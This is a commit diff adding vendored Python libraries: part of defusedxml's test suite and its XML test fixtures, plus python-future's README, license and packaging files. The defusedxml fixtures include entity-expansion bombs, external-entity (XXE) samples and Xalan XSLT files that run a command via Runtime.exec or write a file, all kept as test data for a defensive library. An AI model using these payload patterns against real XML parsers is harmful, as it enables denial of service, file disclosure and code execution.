+        with self.assertRaises(ValueError):
+            result = xmlrpc.defused_gzip_decode(data, 0)
+
+    def test_defused_gzip_response(self):
+        clen = len(self.get_gzipped(4096).getvalue())
+
+        response = self.get_gzipped(4096)
+        data = self.decode_response(response)
+        self.assertEqual(data, b"d" *4096)
+
+        with self.assertRaises(ValueError):
+            response = self.get_gzipped(4096)
+            xmlrpc.DefusedGzipDecodedResponse(response, clen - 1)
+
+        with self.assertRaises(ValueError):
+            response = self.get_gzipped(4096)
+            self.decode_response(response, 4095)
+
+        with self.assertRaises(ValueError):
+            response = self.get_gzipped(4096)
+            self.decode_response(response, 4095, 8192)
+
+
+def test_main():
+    suite = unittest.TestSuite()
+    suite.addTests(unittest.makeSuite(TestDefusedcElementTree))
+    suite.addTests(unittest.makeSuite(TestDefusedElementTree))
+    suite.addTests(unittest.makeSuite(TestDefusedMinidom))
+    suite.addTests(unittest.makeSuite(TestDefusedPulldom))
+    suite.addTests(unittest.makeSuite(TestDefusedSax))
+    suite.addTests(unittest.makeSuite(TestXmlRpc))
+    if lxml is not None:
+        suite.addTests(unittest.makeSuite(TestDefusedLxml))
+    if gzip is not None:
+        suite.addTests(unittest.makeSuite(TestDefusedGzip))
+    return suite
+
+if __name__ == "__main__":
+    suite = test_main()
+    result = unittest.TextTestRunner(verbosity=1).run(suite)
+    # TODO: test that it actually works
+    defuse_stdlib()
+    sys.exit(not result.wasSuccessful())

+ 449 - 0
desktop/core/ext-py/defusedxml-0.4.1/void.css

@@ -0,0 +1,449 @@
+/*
+Stylesheet for Docutils.
+Based on `blue_box.css` by Ian Bicking
+and `voidspace.css` by Ian Bicking, Michael Foord
+and `html4css1.css` 
+
+*/
+
+.borderless, table.borderless td, table.borderless th
+{
+	border: 0;
+}
+table.borderless td, table.borderless th
+{
+	padding: 0 0.5em 0 0 ! important;
+}
+.first
+{
+	margin-top: 0 ! important;
+}
+.last, .with-subtitle
+{
+	margin-bottom: 0 ! important;
+}
+.hidden
+{
+	display: none;
+}
+a.toc-backref
+{
+	color: black;
+	text-decoration: none;
+}
+blockquote.epigraph
+{
+	margin: 2em 5em;
+}
+dl.docutils dd
+{
+	margin-bottom: 0.5em;
+}
+object[type="image/svg+xml"], object[type="application/x-shockwave-flash"]
+{
+	overflow: hidden;
+}
+div.abstract
+{
+	margin: 2em 5em;
+}
+div.abstract p.topic-title
+{
+	font-weight: bold;
+	text-align: center;
+}
+div.admonition, div.attention, div.caution, div.danger, div.error,
+div.hint, div.important, div.note, div.tip, div.warning
+{
+	border: medium outset;
+	margin: 2em;
+	padding: 1em;
+}
+div.admonition p.admonition-title, div.hint p.admonition-title,
+div.important p.admonition-title, div.note p.admonition-title,
+div.tip p.admonition-title
+{
+	font-family: sans-serif;
+	font-weight: bold;
+}
+div.attention p.admonition-title, div.caution p.admonition-title,
+div.danger p.admonition-title, div.error p.admonition-title,
+div.warning p.admonition-title
+{
+	color: red;
+	font-family: sans-serif;
+	font-weight: bold;
+}
+div.dedication
+{
+	font-style: italic;
+	margin: 2em 5em;
+	text-align: center;
+}
+div.dedication p.topic-title
+{
+	font-style: normal;
+	font-weight: bold;
+}
+div.figure
+{
+	margin-left: 2em;
+	margin-right: 2em;
+}
+div.footer, div.header
+{
+	clear: both;
+	font-size: smaller;
+}
+div.line-block
+{
+	display: block;
+	margin-bottom: 1em;
+	margin-top: 1em;
+}
+div.line-block div.line-block
+{
+	margin-bottom: 0;
+	margin-left: 1.5em;
+	margin-top: 0;
+}
+div.sidebar
+{
+	background-color: #ffffee;
+	border: medium outset;
+	clear: right;
+	float: right;
+	margin: 0 0 0.5em 1em;
+	padding: 1em;
+	width: 40%;
+}
+div.sidebar p.rubric
+{
+	font-family: sans-serif;
+	font-size: medium;
+}
+div.system-messages
+{
+	margin: 5em;
+}
+div.system-messages h1
+{
+	color: red;
+}
+div.system-message
+{
+	border: medium outset;
+	padding: 1em;
+}
+div.system-message p.system-message-title
+{
+	color: red;
+	font-weight: bold;
+}
+div.topic
+{
+	margin: 2em;
+}
+h1.section-subtitle, h2.section-subtitle, h3.section-subtitle,
+h4.section-subtitle, h5.section-subtitle, h6.section-subtitle
+{
+	margin-top: 0.4em;
+}
+h1.title
+{
+	text-align: center;
+}
+h2.subtitle
+{
+	text-align: center;
+}
+hr.docutils
+{
+	width: 75%;
+}
+img.align-left, .figure.align-left, object.align-left
+{
+	clear: left;
+	float: left;
+	margin-right: 1em;
+}
+img.align-right, .figure.align-right, object.align-right
+{
+	clear: right;
+	float: right;
+	margin-left: 1em;
+}
+img.align-center, .figure.align-center, object.align-center
+{
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+.align-left
+{
+	text-align: left;
+}
+.align-center
+{
+	clear: both;
+	text-align: center;
+}
+.align-right
+{
+	text-align: right;
+}
+div.align-right
+{
+	text-align: inherit;
+}
+ol.simple, ul.simple
+{
+	margin-bottom: 1em;
+}
+ol.arabic
+{
+	list-style: decimal;
+}
+ol.loweralpha
+{
+	list-style: lower-alpha;
+}
+ol.upperalpha
+{
+	list-style: upper-alpha;
+}
+ol.lowerroman
+{
+	list-style: lower-roman;
+}
+ol.upperroman
+{
+	list-style: upper-roman;
+}
+p.attribution
+{
+	margin-left: 50%;
+	text-align: right;
+}
+p.caption
+{
+	font-style: italic;
+}
+p.credits
+{
+	font-size: smaller;
+	font-style: italic;
+}
+p.label
+{
+	white-space: nowrap;
+}
+p.rubric
+{
+	color: maroon;
+	font-size: larger;
+	font-weight: bold;
+	text-align: center;
+}
+p.sidebar-title
+{
+	font-family: sans-serif;
+	font-size: larger;
+	font-weight: bold;
+}
+p.sidebar-subtitle
+{
+	font-family: sans-serif;
+	font-weight: bold;
+}
+p.topic-title
+{
+	font-weight: bold;
+}
+pre.address
+{
+	font: inherit;
+	margin-bottom: 0;
+	margin-top: 0;
+}
+pre.literal-block, pre.doctest-block, pre.math
+{
+	margin-left: 2em;
+	margin-right: 2em;
+	background-color: #eeeeee;
+
+}
+span.classifier
+{
+	font-family: sans-serif;
+	font-style: oblique;
+}
+span.classifier-delimiter
+{
+	font-family: sans-serif;
+	font-weight: bold;
+}
+span.interpreted
+{
+	font-family: sans-serif;
+}
+span.option
+{
+	white-space: nowrap;
+}
+span.pre
+{
+	white-space: pre;
+}
+span.problematic
+{
+	color: red;
+}
+span.section-subtitle
+{
+	font-size: 80%;
+}
+table.citation
+{
+	border-left: solid 1px gray;
+	margin-left: 1px;
+}
+table.docinfo
+{
+	margin: 2em 4em;
+}
+table.docutils
+{
+	margin-bottom: 0.5em;
+	margin-top: 0.5em;
+}
+table.footnote
+{
+	border-left: solid 1px black;
+	margin-left: 1px;
+}
+table.docutils td, table.docutils th,
+table.docinfo td, table.docinfo th
+{
+	padding-left: 0.5em;
+	padding-right: 0.5em;
+	vertical-align: top;
+}
+table.docutils th.field-name, table.docinfo th.docinfo-name
+{
+	font-weight: bold;
+	padding-left: 0;
+	text-align: left;
+	white-space: nowrap;
+}
+h1 tt.docutils, h2 tt.docutils, h3 tt.docutils,
+h4 tt.docutils, h5 tt.docutils, h6 tt.docutils
+{
+	font-size: 100%;
+}
+ul.auto-toc
+{
+	list-style-type: none;
+}
+body
+{
+	font-family: Arial, sans-serif;
+	margin-left: auto;
+	margin-right: auto;
+	width: 800px;
+}
+em, i
+{
+	font-family: Times New Roman, Times, serif;
+}
+a.target
+{
+	color: blue;
+}
+a.target
+{
+	color: blue;
+}
+a.toc-backref
+{
+	color: black;
+	text-decoration: none;
+}
+a.toc-backref:hover
+{
+	background-color: inherit;
+}
+a:hover
+{
+	background-color: #cccccc;
+}
+div.attention, div.caution, div.danger, div.error, div.hint,
+div.important, div.note, div.tip, div.warning
+{
+	padding: 3px;
+	width: 80%;
+}
+div.admonition p.admonition-title, div.hint p.admonition-title,
+div.important p.admonition-title, div.note p.admonition-title,
+div.tip p.admonition-title
+{
+	display: block;
+	margin: 0;
+	text-align: center;
+}
+div.attention p.admonition-title, div.caution p.admonition-title,
+div.danger p.admonition-title, div.error p.admonition-title,
+div.warning p.admonition-title
+{
+	display: block;
+	font-family: sans-serif;
+	margin: 0;
+	text-align: center;
+}
+h1.title
+{
+	text-align: center;
+}
+table.footnote
+{
+	padding-left: 0.5ex;
+}
+table.citation
+{
+	padding-left: 0.5ex;
+}
+pre.literal-block, pre.doctest-block
+{
+	padding: 5px;
+}
+h1 tt, h2 tt, h3 tt, h4 tt, h5 tt, h6 tt
+{
+	font-size: 100%;
+}
+code, tt
+{
+	color: #000066;
+}
+p
+{
+	text-align: justify;
+}
+dt
+{
+	font-weight: bold;
+}
+tt.literal
+{
+	background-color: #eeeeee;
+}
+h1
+{
+	border-bottom: solid 1px black;
+	padding-top: 20px;
+}
+caption
+{
+	margin-bottom: 0.4em;
+	font-weight: bold;
+	font-size: 120%;
+}

+ 5 - 0
desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/cyclic.xml

@@ -0,0 +1,5 @@
+<!DOCTYPE xmlbomb [
+<!ENTITY a "123 &b;" >
+<!ENTITY b "&a;">
+]>
+<bomb>&a;</bomb>

+ 8 - 0
desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/dtd.xml

@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+    <head/>
+    <body>text</body>
+</html>
+

+ 4 - 0
desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/external.xml

@@ -0,0 +1,4 @@
+<!DOCTYPE external [
+<!ENTITY ee SYSTEM "http://www.w3schools.com/xml/note.xml">
+]>
+<root>&ee;</root>

+ 5 - 0
desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/external_file.xml

@@ -0,0 +1,5 @@
+<!DOCTYPE external [
+<!ENTITY ee SYSTEM "file:///PATH/TO/xmltestdata/simple.xml">
+]>
+<root>&ee;</root>
+

Filskillnaden har hållts tillbaka eftersom den är för stor
+ 1 - 0
desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/quadratic.xml


+ 7 - 0
desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/simple-ns.xml

@@ -0,0 +1,7 @@
+<?pi data?>
+<!-- comment -->
+<root xmlns='namespace'>
+   <element key='value'>text</element>
+   <element>text</element>tail
+   <empty-element/>
+</root>

+ 6 - 0
desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/simple.xml

@@ -0,0 +1,6 @@
+<!-- comment -->
+<root>
+   <element key='value'>text</element>
+   <element>text</element>tail
+   <empty-element/>
+</root>

+ 20 - 0
desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/xalan_exec.xsl

@@ -0,0 +1,20 @@
+<!-- Tested with xalan-j_2_7_1-bin.zip, Xerces-J-bin.2.11.0.tar.gz on
+     OpenJDK 1.7.0_15
+
+    $ LC_ALL=C java -cp xalan.jar:serializer.jar:xercesImpl.jar:xml-apis.jar \
+      org.apache.xalan.xslt.Process -in simple.xml -xsl xalan_exec.xsl
+-->
+<xsl:stylesheet version="1.0"
+     xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+     xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
+     xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
+     exclude-result-prefixes="rt ob">
+  <xsl:template match="/">
+  <xsl:variable name="runtimeObject" select="rt:getRuntime()"/>
+  <xsl:variable name="command"
+     select="rt:exec($runtimeObject, &apos;/usr/bin/notify-send SomethingBadHappensHere&apos;)"/>
+  <xsl:variable name="commandAsString" select="ob:toString($command)"/>
+  <xsl:value-of select="$commandAsString"/>
+  </xsl:template>
+</xsl:stylesheet>
+

+ 18 - 0
desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/xalan_write.xsl

@@ -0,0 +1,18 @@
+<!-- Tested with xalan-j_2_7_1-bin.zip, Xerces-J-bin.2.11.0.tar.gz on
+     OpenJDK 1.7.0_15
+
+    $ LC_ALL=C java -cp xalan.jar:serializer.jar:xercesImpl.jar:xml-apis.jar \
+      org.apache.xalan.xslt.Process -in simple.xml -xsl xalan_write.xsl
+-->
+<xsl:stylesheet version="1.0"
+    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+    xmlns:redirect="http://xml.apache.org/xalan/redirect"
+    extension-element-prefixes="redirect">
+  <xsl:output omit-xml-declaration="yes" indent="yes"/>
+  <xsl:template match="/">
+    <redirect:write file="xalan_redirect.txt" method="text">
+      <xsl:text>Something bad happens here!&#13;</xsl:text>
+    </redirect:write>
+  </xsl:template>
+</xsl:stylesheet>
+

+ 7 - 0
desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/xmlbomb.xml

@@ -0,0 +1,7 @@
+<!DOCTYPE xmlbomb [
+<!ENTITY a "1234567890" >
+<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
+<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;">
+<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;">
+]>
+<bomb>&c;</bomb>

+ 4 - 0
desktop/core/ext-py/defusedxml-0.4.1/xmltestdata/xmlbomb2.xml

@@ -0,0 +1,4 @@
+<!DOCTYPE xmlbomb [
+<!ENTITY a "1234567890">
+]>
+<root>text<bomb>&a;</bomb><tag/></root>

+ 25 - 0
desktop/core/ext-py/future-0.16.0/.travis.yml

@@ -0,0 +1,25 @@
+language: python
+
+python:
+  - "3.4"
+  - "3.3"
+  - "2.7"
+  - "2.6"
+
+sudo: false
+
+# command to install dependencies, e.g. pip install -r requirements.txt --use-mirrors
+# These packages only exist on Ubuntu 13.04 and newer:
+# No dependencies currently unless using Python 2.6.
+
+install:
+  - if [[ $TRAVIS_PYTHON_VERSION == 2.6* ]]; then pip install -r requirements_py26.txt --use-mirrors; fi
+  - python setup.py install
+
+# command to run tests, e.g. python setup.py test
+
+script:
+  # We might like to get out of the source directory before running tests to
+  # avoid PYTHONPATH confusion? As an example, see here:
+  #     https://github.com/tornadoweb/tornado/blob/master/.travis.yml
+  - python setup.py test

+ 19 - 0
desktop/core/ext-py/future-0.16.0/LICENSE.txt

@@ -0,0 +1,19 @@
+Copyright (c) 2013-2016 Python Charmers Pty Ltd, Australia
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.

+ 28 - 0
desktop/core/ext-py/future-0.16.0/MANIFEST.in

@@ -0,0 +1,28 @@
+include *.sh
+include *.txt
+include *.rst
+include *.py
+include .travis.yml
+include pytest.ini
+recursive-include docs LICENSE
+recursive-include docs README
+recursive-include docs *.conf
+recursive-include docs *.css_t
+recursive-include docs *.html
+recursive-include docs *.ico
+recursive-include docs *.inc
+recursive-include docs *.ipynb
+recursive-include docs *.png
+recursive-include docs *.py
+recursive-include docs *.rst
+recursive-include docs *.sh
+recursive-include docs *.tiff
+recursive-include docs *.txt
+recursive-include docs Makefile
+recursive-include src *.py
+recursive-include src *.pem
+recursive-include tests *.au
+recursive-include tests *.gif
+recursive-include tests *.py
+recursive-include tests *.txt
+

+ 103 - 0
desktop/core/ext-py/future-0.16.0/PKG-INFO

@@ -0,0 +1,103 @@
+Metadata-Version: 1.1
+Name: future
+Version: 0.16.0
+Summary: Clean single-source support for Python 3 and 2
+Home-page: https://python-future.org
+Author: Ed Schofield
+Author-email: ed@pythoncharmers.com
+License: MIT
+Description: 
+        future: Easy, safe support for Python 2/3 compatibility
+        =======================================================
+        
+        ``future`` is the missing compatibility layer between Python 2 and Python
+        3. It allows you to use a single, clean Python 3.x-compatible codebase to
+        support both Python 2 and Python 3 with minimal overhead.
+        
+        It is designed to be used as follows::
+        
+            from __future__ import (absolute_import, division,
+                                    print_function, unicode_literals)
+            from builtins import (
+                     bytes, dict, int, list, object, range, str,
+                     ascii, chr, hex, input, next, oct, open,
+                     pow, round, super,
+                     filter, map, zip)
+        
+        followed by predominantly standard, idiomatic Python 3 code that then runs
+        similarly on Python 2.6/2.7 and Python 3.3+.
+        
+        The imports have no effect on Python 3. On Python 2, they shadow the
+        corresponding builtins, which normally have different semantics on Python 3
+        versus 2, to provide their Python 3 semantics.
+        
+        
+        Standard library reorganization
+        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+        
+        ``future`` supports the standard library reorganization (PEP 3108) through the
+        following Py3 interfaces:
+        
+            >>> # Top-level packages with Py3 names provided on Py2:
+            >>> import html.parser
+            >>> import queue
+            >>> import tkinter.dialog
+            >>> import xmlrpc.client
+            >>> # etc.
+        
+            >>> # Aliases provided for extensions to existing Py2 module names:
+            >>> from future.standard_library import install_aliases
+            >>> install_aliases()
+        
+            >>> from collections import Counter, OrderedDict   # backported to Py2.6
+            >>> from collections import UserDict, UserList, UserString
+            >>> import urllib.request
+            >>> from itertools import filterfalse, zip_longest
+            >>> from subprocess import getoutput, getstatusoutput
+        
+        
+        Automatic conversion
+        --------------------
+        
+        An included script called `futurize
+        <http://python-future.org/automatic_conversion.html>`_ aids in converting
+        code (from either Python 2 or Python 3) to code compatible with both
+        platforms. It is similar to ``python-modernize`` but goes further in
+        providing Python 3 compatibility through the use of the backported types
+        and builtin functions in ``future``.
+        
+        
+        Documentation
+        -------------
+        
+        See: http://python-future.org
+        
+        
+        Credits
+        -------
+        
+        :Author:  Ed Schofield
+        :Sponsor: Python Charmers Pty Ltd, Australia, and Python Charmers Pte
+                  Ltd, Singapore. http://pythoncharmers.com
+        :Others:  See docs/credits.rst or http://python-future.org/credits.html
+        
+        
+        Licensing
+        ---------
+        Copyright 2013-2016 Python Charmers Pty Ltd, Australia.
+        The software is distributed under an MIT licence. See LICENSE.txt.
+        
+        
+Keywords: future past python3 migration futurize backport six 2to3 modernize pasteurize 3to2
+Platform: UNKNOWN
+Classifier: Programming Language :: Python
+Classifier: Programming Language :: Python :: 2.6
+Classifier: Programming Language :: Python :: 2.7
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.3
+Classifier: Programming Language :: Python :: 3.4
+Classifier: Programming Language :: Python :: 3.5
+Classifier: License :: OSI Approved
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Development Status :: 4 - Beta
+Classifier: Intended Audience :: Developers

+ 287 - 0
desktop/core/ext-py/future-0.16.0/README.rst

@@ -0,0 +1,287 @@
+.. _overview:
+
+Overview: Easy, clean, reliable Python 2/3 compatibility
+========================================================
+
+``python-future`` is the missing compatibility layer between Python 2 and
+Python 3. It allows you to use a single, clean Python 3.x-compatible
+codebase to support both Python 2 and Python 3 with minimal overhead.
+
+It provides ``future`` and ``past`` packages with backports and forward
+ports of features from Python 3 and 2. It also comes with ``futurize`` and
+``pasteurize``, customized 2to3-based scripts that helps you to convert
+either Py2 or Py3 code easily to support both Python 2 and 3 in a single
+clean Py3-style codebase, module by module.
+
+Notable projects that use ``python-future`` for Python 2/3 compatibility
+are `Mezzanine <http://mezzanine.jupo.org/>`_ and `ObsPy
+<http://obspy.org>`_.
+
+.. _features:
+
+Features
+--------
+
+.. image:: https://travis-ci.org/PythonCharmers/python-future.svg?branch=master
+       :target: https://travis-ci.org/PythonCharmers/python-future
+
+-   ``future.builtins`` package (also available as ``builtins`` on Py2) provides
+    backports and remappings for 20 builtins with different semantics on Py3
+    versus Py2
+
+-   support for directly importing 30 standard library modules under
+    their Python 3 names on Py2
+
+-   support for importing the other 14 refactored standard library modules
+    under their Py3 names relatively cleanly via
+    ``future.standard_library`` and ``future.moves``
+
+-   ``past.builtins`` package provides forward-ports of 19 Python 2 types and
+    builtin functions. These can aid with per-module code migrations.
+
+-   ``past.translation`` package supports transparent translation of Python 2
+    modules to Python 3 upon import. [This feature is currently in alpha.]
+
+-   1000+ unit tests, including many from the Py3.3 source tree.
+
+-   ``futurize`` and ``pasteurize`` scripts based on ``2to3`` and parts of
+    ``3to2`` and ``python-modernize``, for automatic conversion from either Py2
+    or Py3 to a clean single-source codebase compatible with Python 2.6+ and
+    Python 3.3+.
+
+-   a curated set of utility functions and decorators in ``future.utils`` and
+    ``past.utils`` selected from Py2/3 compatibility interfaces from projects
+    like ``six``, ``IPython``, ``Jinja2``, ``Django``, and ``Pandas``.
+
+-   support for the ``surrogateescape`` error handler when encoding and
+    decoding the backported ``str`` and ``bytes`` objects. [This feature is
+    currently in alpha.]
+
+.. _code-examples:
+
+Code examples
+-------------
+
+Replacements for Py2's built-in functions and types are designed to be imported
+at the top of each Python module together with Python's built-in ``__future__``
+statements. For example, this code behaves identically on Python 2.6/2.7 after
+these imports as it does on Python 3.3+:
+
+.. code-block:: python
+    
+    from __future__ import absolute_import, division, print_function
+    from builtins import (bytes, str, open, super, range,
+                          zip, round, input, int, pow, object)
+
+    # Backported Py3 bytes object
+    b = bytes(b'ABCD')
+    assert list(b) == [65, 66, 67, 68]
+    assert repr(b) == "b'ABCD'"
+    # These raise TypeErrors:
+    # b + u'EFGH'
+    # bytes(b',').join([u'Fred', u'Bill'])
+
+    # Backported Py3 str object
+    s = str(u'ABCD')
+    assert s != bytes(b'ABCD')
+    assert isinstance(s.encode('utf-8'), bytes)
+    assert isinstance(b.decode('utf-8'), str)
+    assert repr(s) == "'ABCD'"      # consistent repr with Py3 (no u prefix)
+    # These raise TypeErrors:
+    # bytes(b'B') in s
+    # s.find(bytes(b'A'))
+
+    # Extra arguments for the open() function
+    f = open('japanese.txt', encoding='utf-8', errors='replace')
+    
+    # New zero-argument super() function:
+    class VerboseList(list):
+        def append(self, item):
+            print('Adding an item')
+            super().append(item)
+
+    # New iterable range object with slicing support
+    for i in range(10**15)[:10]:
+        pass
+    
+    # Other iterators: map, zip, filter
+    my_iter = zip(range(3), ['a', 'b', 'c'])
+    assert my_iter != list(my_iter)
+    
+    # The round() function behaves as it does in Python 3, using
+    # "Banker's Rounding" to the nearest even last digit:
+    assert round(0.1250, 2) == 0.12
+    
+    # input() replaces Py2's raw_input() (with no eval()):
+    name = input('What is your name? ')
+    print('Hello ' + name)
+
+    # pow() supports fractional exponents of negative numbers like in Py3:
+    z = pow(-1, 0.5)
+
+    # Compatible output from isinstance() across Py2/3:
+    assert isinstance(2**64, int)        # long integers
+    assert isinstance(u'blah', str)
+    assert isinstance('blah', str)       # only if unicode_literals is in effect
+
+    # Py3-style iterators written as new-style classes (subclasses of
+    # future.types.newobject) are automatically backward compatible with Py2:
+    class Upper(object):
+        def __init__(self, iterable):
+            self._iter = iter(iterable)
+        def __next__(self):                 # note the Py3 interface
+            return next(self._iter).upper()
+        def __iter__(self):
+            return self
+    assert list(Upper('hello')) == list('HELLO')
+
+
+There is also support for renamed standard library modules. The recommended
+interface works like this:
+
+.. code-block:: python
+
+    # Many Py3 module names are supported directly on both Py2.x and 3.x:
+    from http.client import HttpConnection
+    import html.parser
+    import queue
+    import xmlrpc.client
+
+    # Refactored modules with clashing names on Py2 and Py3 are supported
+    # as follows:
+    from future import standard_library
+    standard_library.install_aliases()
+
+    # Then, for example:
+    from itertools import filterfalse, zip_longest
+    from urllib.request import urlopen
+    from collections import ChainMap
+    from collections import UserDict, UserList, UserString
+    from subprocess import getoutput, getstatusoutput
+    from collections import Counter, OrderedDict   # backported to Py2.6
+
+
+Automatic conversion to Py2/3-compatible code
+---------------------------------------------
+
+``python-future`` comes with two scripts called ``futurize`` and
+``pasteurize`` to aid in making Python 2 code or Python 3 code compatible with
+both platforms (Py2/3). It is based on 2to3 and uses fixers from ``lib2to3``,
+``lib3to2``, and ``python-modernize``, as well as custom fixers.
+
+``futurize`` passes Python 2 code through all the appropriate fixers to turn it
+into valid Python 3 code, and then adds ``__future__`` and ``future`` package
+imports so that it also runs under Python 2.
+
+For conversions from Python 3 code to Py2/3, use the ``pasteurize`` script
+instead. This converts Py3-only constructs (e.g. new metaclass syntax) to
+Py2/3 compatible constructs and adds ``__future__`` and ``future`` imports to
+the top of each module.
+
+In both cases, the result should be relatively clean Py3-style code that runs
+mostly unchanged on both Python 2 and Python 3.
+
+Futurize: 2 to both
+~~~~~~~~~~~~~~~~~~~
+
+For example, running ``futurize -w mymodule.py`` turns this Python 2 code:
+
+.. code-block:: python
+    
+    import Queue
+    from urllib2 import urlopen
+
+    def greet(name):
+        print 'Hello',
+        print name
+
+    print "What's your name?",
+    name = raw_input()
+    greet(name)
+
+into this code which runs on both Py2 and Py3:
+
+.. code-block:: python
+    
+    from __future__ import print_function
+    from future import standard_library
+    standard_library.install_aliases()
+    from builtins import input
+    import queue
+    from urllib.request import urlopen
+    
+    def greet(name):
+        print('Hello', end=' ')
+        print(name)
+
+    print("What's your name?", end=' ')
+    name = input()
+    greet(name)
+
+See :ref:`forwards-conversion` and :ref:`backwards-conversion` for more details.
+
+
+Automatic translation
+---------------------
+
+The ``past`` package can automatically translate some simple Python 2
+modules to Python 3 upon import. The goal is to support the "long tail" of
+real-world Python 2 modules (e.g. on PyPI) that have not been ported yet. For
+example, here is how to use a Python 2-only package called ``plotrique`` on
+Python 3. First install it:
+
+.. code-block:: bash
+
+    $ pip3 install plotrique==0.2.5-7 --no-compile   # to ignore SyntaxErrors
+    
+(or use ``pip`` if this points to your Py3 environment.)
+
+Then pass a whitelist of module name prefixes to the ``autotranslate()`` function.
+Example:
+
+.. code-block:: bash
+    
+    $ python3
+
+    >>> from past import autotranslate
+    >>> autotranslate(['plotrique'])
+    >>> import plotrique
+
+This transparently translates and runs the ``plotrique`` module and any
+submodules in the ``plotrique`` package that ``plotrique`` imports.
+
+This is intended to help you migrate to Python 3 without the need for all
+your code's dependencies to support Python 3 yet. It should be used as a
+last resort; ideally Python 2-only dependencies should be ported
+properly to a Python 2/3 compatible codebase using a tool like
+``futurize`` and the changes should be pushed to the upstream project.
+
+Note: the auto-translation feature is still in alpha; it needs more testing and
+development, and will likely never be perfect.
+
+For more info, see :ref:`translation`.
+
+Licensing
+---------
+
+:Author:  Ed Schofield
+
+:Copyright: 2013-2016 Python Charmers Pty Ltd, Australia.
+
+:Sponsor: Python Charmers Pty Ltd, Australia, and Python Charmers Pte
+          Ltd, Singapore. http://pythoncharmers.com
+
+:Licence: MIT. See ``LICENSE.txt`` or `here <http://python-future.org/credits.html>`_.
+
+:Other credits:  See `here <http://python-future.org/credits.html>`_.
+
+
+Next steps
+----------
+
+If you are new to Python-Future, check out the `Quickstart Guide
+<http://python-future.org/quickstart.html>`_.
+
+For an update on changes in the latest version, see the `What's New
+<http://python-future.org/whatsnew.html>`_ page.
+

+ 9 - 0
desktop/core/ext-py/future-0.16.0/TESTING.txt

@@ -0,0 +1,9 @@
+Currently the tests are passing on OS X and Linux on Python 2.6, 2.7, 3.3 and 3.4.
+
+The test suite can be run either with:
+
+    $ python setup.py test
+
+which uses the unittest module's test discovery mechanism, or with:
+
+    $ py.test

+ 2 - 0
desktop/core/ext-py/future-0.16.0/check_rst.sh

@@ -0,0 +1,2 @@
+#!/bin/sh
+rst2html README.rst > README.html && xdg-open README.html

+ 58 - 0
desktop/core/ext-py/future-0.16.0/discover_tests.py

@@ -0,0 +1,58 @@
+"""
+Simple auto test discovery.
+
+From http://stackoverflow.com/a/17004409
+"""
+import os
+import sys
+import unittest
+
+if not hasattr(unittest.defaultTestLoader, 'discover'):
+    try:
+        import unittest2 as unittest
+    except ImportError:
+        raise ImportError('The unittest2 module is required to run tests on Python 2.6')
+
+def additional_tests():
+    setup_file = sys.modules['__main__'].__file__
+    setup_dir = os.path.abspath(os.path.dirname(setup_file))
+    test_dir = os.path.join(setup_dir, 'tests')
+    test_suite = unittest.defaultTestLoader.discover(test_dir)
+    blacklist = []
+    if '/home/travis' in __file__:
+        # Skip some tests that fail on travis-ci
+        blacklist.append('test_command')
+    return exclude_tests(test_suite, blacklist)
+
+
+class SkipCase(unittest.TestCase):
+    def skeleton_run_test(self):
+        raise unittest.SkipTest("Test fails spuriously on travis-ci")
+
+
+def exclude_tests(suite, blacklist):
+    """
+    Example:
+    
+    blacklist = [
+        'test_some_test_that_should_be_skipped',
+        'test_another_test_that_should_be_skipped'
+    ]
+    """
+    new_suite = unittest.TestSuite()
+    
+    for test_group in suite._tests:
+        for test in test_group:
+            if not hasattr(test, '_tests'):
+                # e.g. ModuleImportFailure
+                new_suite.addTest(test)
+                continue
+            for subtest in test._tests:
+                method = subtest._testMethodName
+                if method in blacklist:
+                    setattr(test,
+                            method,
+                            getattr(SkipCase(), 'skeleton_run_test'))
+            new_suite.addTest(test)
+    return new_suite
+

+ 213 - 0
desktop/core/ext-py/future-0.16.0/docs/3rd-party-py3k-compat-code/astropy_py3compat.py

@@ -0,0 +1,213 @@
+# Licensed under a 3-clause BSD style license - see PYFITS.rst
+
+import sys
+
+PY3 = sys.version_info[0] >= 3
+
+if PY3:  # pragma: py3
+    # Stuff to do if Python 3
+    import builtins
+    import io
+
+    # Bring back the cmp() function
+    builtins.cmp = lambda a, b: (a > b) - (a < b)
+
